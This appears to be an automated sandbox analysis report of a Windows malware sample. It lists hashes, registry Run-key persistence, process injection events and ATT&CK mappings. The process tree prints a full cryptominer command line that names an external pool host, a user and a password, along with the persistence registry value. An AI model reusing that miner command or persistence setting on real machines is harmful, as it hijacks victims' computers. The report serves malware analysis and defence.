4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0

General

Target

4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
Size

423KB
MD5

465684a387882a2967ab06480bbd5e41
SHA1

ca5de6208c51538cfd9658db7831194fc4ee928a
SHA256

4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0
SHA512

bab8fa9a91a88ea7bdd814d2b0046586c7d4b845d750af00b50b147db3b25ba4fabc3bacc2f78b1cd361c45ed585f0cd69d7c3ac7a9b21bfa4ecbbcc42d4b088

Score

10^/10

persistence suricata

Malware Config

Signatures

suricata: ET MALWARE DNS Reply Sinkhole - Microsoft - 199.2.137.0/24
suricata: ET MALWARE DNS Reply Sinkhole - Microsoft - 199.2.137.0/24
suricata

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Windows\CurrentVersion\Run	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WINSXS32 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe"	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe

description	pid	Process	procid_target
PID 3360 set thread context of 4812	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	80
PID 3360 set thread context of 3892	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	83
PID 3360 set thread context of 4240	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	84

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe

pid	Process
4812	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
4812	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe

description	pid	Process	procid_target
PID 3360 wrote to memory of 4812	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	80
PID 3360 wrote to memory of 4812	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	80
PID 3360 wrote to memory of 4812	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	80
PID 3360 wrote to memory of 4812	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	80
PID 3360 wrote to memory of 4812	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	80
PID 3360 wrote to memory of 4812	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	80
PID 3360 wrote to memory of 4812	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	80
PID 3360 wrote to memory of 3892	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	83
PID 3360 wrote to memory of 3892	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	83
PID 3360 wrote to memory of 3892	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	83
PID 3360 wrote to memory of 3892	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	83
PID 3360 wrote to memory of 3892	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	83
PID 3360 wrote to memory of 3892	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	83
PID 3360 wrote to memory of 3892	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	83
PID 3360 wrote to memory of 3892	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	83
PID 3360 wrote to memory of 4240	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	84
PID 3360 wrote to memory of 4240	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	84
PID 3360 wrote to memory of 4240	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	84
PID 3360 wrote to memory of 4240	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	84
PID 3360 wrote to memory of 4240	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	84
PID 3360 wrote to memory of 4240	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	84
PID 3360 wrote to memory of 4240	3360	4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe	84

C:\Users\Admin\AppData\Local\Temp\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
"C:\Users\Admin\AppData\Local\Temp\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3360
- C:\Users\Admin\AppData\Local\Temp\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
  NdxUsil.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4812
- C:\Users\Admin\AppData\Local\Temp\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
  NdxUsil.exe
  2⤵
  - Adds Run key to start application
  PID:3892
- C:\Users\Admin\AppData\Local\Temp\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
  bitcoin-miner.exe -a 60 -l no -o http://kdusd.cantvenlinea.biz:1942/ -u zephyr.oioioioioioioioi -p Nu778800
  2⤵
  PID:4240

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3360-134-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/3360-135-0x0000000000700000-0x000000000076F000-memory.dmp

Filesize
444KB

Download
memory/3892-141-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download
memory/3892-137-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download
memory/3892-142-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download
memory/3892-136-0x0000000000000000-mapping.dmp

Download
memory/4240-144-0x00000000004F0000-0x000000000053C000-memory.dmp

Filesize
304KB

Download
memory/4240-138-0x0000000000000000-mapping.dmp

Download
memory/4240-140-0x0000000000400000-0x000000000053C000-memory.dmp

Filesize
1.2MB

Download
memory/4240-143-0x00000000004F0000-0x000000000053C000-memory.dmp

Filesize
304KB

Download
memory/4240-145-0x0000000000400000-0x000000000053C000-memory.dmp

Filesize
1.2MB

Download
memory/4240-146-0x0000000000400000-0x000000000053B37A-memory.dmp

Filesize
1.2MB

Download
memory/4240-147-0x0000000000400000-0x000000000053B37A-memory.dmp

Filesize
1.2MB

Download
memory/4240-149-0x0000000000400000-0x000000000053B37A-memory.dmp

Filesize
1.2MB

Download
memory/4240-148-0x0000000000400000-0x000000000053B37A-memory.dmp

Filesize
1.2MB

Download
memory/4240-152-0x0000000000400000-0x000000000053B37A-memory.dmp

Filesize
1.2MB

Download
memory/4812-130-0x0000000000000000-mapping.dmp

Download
memory/4812-131-0x0000000000400000-0x0000000000403000-memory.dmp

Filesize
12KB

Download
memory/4812-133-0x0000000000400000-0x0000000000403000-memory.dmp

Filesize
12KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads